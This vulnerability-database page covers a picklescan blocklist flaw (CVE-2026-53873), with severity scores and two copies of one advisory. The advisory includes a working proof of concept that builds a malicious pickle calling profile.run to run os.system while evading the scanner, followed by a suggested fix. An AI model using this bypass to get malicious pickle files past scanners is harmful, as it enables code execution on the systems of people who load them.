CVE-2026-53873

criticalpriority · track · 0EPSS 0.005 · 40 %ileEUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.46% (40th) EPSS
CVSS 9.8 · critical
Is it mine?
2 products
Check your exposure
Who says so?
3 sources
cnnvd · enisa_euvd · osv

EPSS · scored 2026-10-28

picklescan before 1.0.4 contains an incomplete blocklist for the profile module that fails to block the module-level profile.run() function, allowing attackers to achieve arbitrary code execution via exec(). Attackers can craft malicious pickle files calling profile.run(statement) to execute arbitrary Python code while picklescan reports zero security issues.

01

cvss

Technical severity, 0–10. One row per scoring source.

9.8
010

base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · high–critical · 8.1–9.8

v3.19.8criticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:Hsecondary · disclosure@vulncheck.comexploitability 3.9 · impact 5.9
v3.19.8criticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:Hsecondary · OSV
v4.09.3criticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:Nsecondary · ENISA EU
v4.09.3criticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · disclosure@vulncheck.com
v4.08.1highCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: yes · Technical Impact: totalcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (2)

Products and version ranges known to be affected.

05

advisories (2)

Vendor and ecosystem advisories describing this.

  • GHSA-7wx9-6375-f5whPickleScan's profile.run blocklist mismatch allows exec() bypass2026-03-03ghsa · osvUS

    ## Summary picklescan v1.0.3 blocks `profile.Profile.run` and `profile.Profile.runctx` but does NOT block the module-level `profile.run()` function. A malicious pickle calling `profile.run(statement)` achieves arbitrary code execution via `exec()` while picklescan reports 0 issues. This is because the blocklist entry `"Profile.run"` does not match the pickle global name `"run"`. ## Severity **High** — Direct code execution via `exec()` with zero scanner detection. ## Affected Versions - picklescan v1.0.3 (latest — the profile entries were added in recent versions) - Earlier versions also affected (profile not blocked at all) ## Details ### Root Cause In `scanner.py` line 199, the blocklist entry for `profile` is: ```python "profile": {"Profile.run", "Profile.runctx"}, ``` When a pickle file imports `profile.run` (the module-level function), picklescan's opcode parser extracts: - `module = "profile"` - `name = "run"` The blocklist check at line 414 is: ```python elif unsafe_filter is not None and (unsafe_filter == "*" or g.name in unsafe_filter): ``` This checks: is `"run"` in `{"Profile.run", "Profile.runctx"}`? **Answer: NO.** `"run" != "Profile.run"`. The string comparison is exact — there is no prefix/suffix matching. ### What `profile.run()` Does ```python # From Python's Lib/profile.py def run(statement, filename=None, sort=-1): prof = Profile() try: prof.run(statement) # Calls exec(statement) except SystemExit: pass ... ``` `profile.run(statement)` calls `exec(statement)` internally, enabling arbitrary Python code execution. ### Proof of Concept ```python import struct, io, pickle def sbu(s): b = s.encode() return b"\x8c" + struct.pack("<B", len(b)) + b # profile.run("import os; os.system('id')") payload = ( b"\x80\x04\x95" + struct.pack("<Q", 60) + sbu("profile") + sbu("run") + b"\x93" + sbu("import os; os.system('id')") + b"\x85" + b"R" + b"." ) # picklescan: 0 issues (name "run" not in {"Profile.run", "Profile.runctx"}) from picklescan.scanner import scan_pickle_bytes result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl") assert result.issues_count == 0 # CLEAN! # Execute: runs exec("import os; os.system('id')") → RCE pickle.loads(payload) ``` ### Comparison | Pickle Global | Blocklist Entry | Match? | Result | |--------------|-----------------|--------|--------| | `("profile", "run")` | `"Profile.run"` | NO — `"run" != "Profile.run"` | CLEAN (bypass!) | | `("profile", "Profile.run")` | `"Profile.run"` | YES | DETECTED | | `("profile", "runctx")` | `"Profile.runctx"` | NO — `"runctx" != "Profile.runctx"` | CLEAN (bypass!) | The pickle opcode `GLOBAL` / `STACK_GLOBAL` resolves `profile.run` to the MODULE-LEVEL function, not the class method `Profile.run`. These are different Python objects but both execute arbitrary code. ## Impact `profile.run()` provides direct `exec()` execution. An attacker can execute arbitrary Python code while picklescan reports no issues. This is particularly impactful because `exec()` can import any module and call any function, bypassing the blocklist entirely. ## Suggested Fix Change the `profile` blocklist entry from: ```python "profile": {"Profile.run", "Profile.runctx"}, ``` to: ```python "profile": "*", ``` Or explicitly add the module-level functions: ```python "profile": {"Profile.run", "Profile.runctx", "run", "runctx"}, ``` ## Resources - picklescan source: `scanner.py` line 199 (`"profile": {"Profile.run", "Profile.runctx"}`) - picklescan source: `scanner.py` line 414 (exact string match logic) - Python source: `Lib/profile.py` `run()` function — calls `exec()`

  • PYSEC-2026-455PickleScan's profile.run blocklist mismatch allows exec() bypass2026-06-29vendor · osvUS

    ## Summary picklescan v1.0.3 blocks `profile.Profile.run` and `profile.Profile.runctx` but does NOT block the module-level `profile.run()` function. A malicious pickle calling `profile.run(statement)` achieves arbitrary code execution via `exec()` while picklescan reports 0 issues. This is because the blocklist entry `"Profile.run"` does not match the pickle global name `"run"`. ## Severity **High** — Direct code execution via `exec()` with zero scanner detection. ## Affected Versions - picklescan v1.0.3 (latest — the profile entries were added in recent versions) - Earlier versions also affected (profile not blocked at all) ## Details ### Root Cause In `scanner.py` line 199, the blocklist entry for `profile` is: ```python "profile": {"Profile.run", "Profile.runctx"}, ``` When a pickle file imports `profile.run` (the module-level function), picklescan's opcode parser extracts: - `module = "profile"` - `name = "run"` The blocklist check at line 414 is: ```python elif unsafe_filter is not None and (unsafe_filter == "*" or g.name in unsafe_filter): ``` This checks: is `"run"` in `{"Profile.run", "Profile.runctx"}`? **Answer: NO.** `"run" != "Profile.run"`. The string comparison is exact — there is no prefix/suffix matching. ### What `profile.run()` Does ```python # From Python's Lib/profile.py def run(statement, filename=None, sort=-1): prof = Profile() try: prof.run(statement) # Calls exec(statement) except SystemExit: pass ... ``` `profile.run(statement)` calls `exec(statement)` internally, enabling arbitrary Python code execution. ### Proof of Concept ```python import struct, io, pickle def sbu(s): b = s.encode() return b"\x8c" + struct.pack("<B", len(b)) + b # profile.run("import os; os.system('id')") payload = ( b"\x80\x04\x95" + struct.pack("<Q", 60) + sbu("profile") + sbu("run") + b"\x93" + sbu("import os; os.system('id')") + b"\x85" + b"R" + b"." ) # picklescan: 0 issues (name "run" not in {"Profile.run", "Profile.runctx"}) from picklescan.scanner import scan_pickle_bytes result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl") assert result.issues_count == 0 # CLEAN! # Execute: runs exec("import os; os.system('id')") → RCE pickle.loads(payload) ``` ### Comparison | Pickle Global | Blocklist Entry | Match? | Result | |--------------|-----------------|--------|--------| | `("profile", "run")` | `"Profile.run"` | NO — `"run" != "Profile.run"` | CLEAN (bypass!) | | `("profile", "Profile.run")` | `"Profile.run"` | YES | DETECTED | | `("profile", "runctx")` | `"Profile.runctx"` | NO — `"runctx" != "Profile.runctx"` | CLEAN (bypass!) | The pickle opcode `GLOBAL` / `STACK_GLOBAL` resolves `profile.run` to the MODULE-LEVEL function, not the class method `Profile.run`. These are different Python objects but both execute arbitrary code. ## Impact `profile.run()` provides direct `exec()` execution. An attacker can execute arbitrary Python code while picklescan reports no issues. This is particularly impactful because `exec()` can import any module and call any function, bypassing the blocklist entirely. ## Suggested Fix Change the `profile` blocklist entry from: ```python "profile": {"Profile.run", "Profile.runctx"}, ``` to: ```python "profile": "*", ``` Or explicitly add the module-level functions: ```python "profile": {"Profile.run", "Profile.runctx", "run", "runctx"}, ``` ## Resources - picklescan source: `scanner.py` line 199 (`"profile": {"Profile.run", "Profile.runctx"}`) - picklescan source: `scanner.py` line 414 (exact string match logic) - Python source: `Lib/profile.py` `run()` function — calls `exec()`

06

also known as (6)

Other names and identifiers for this entity.

07

sources

Which sources assert this record, and when.

published 2026-06-17modified 2026-06-17
08

references (6)

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan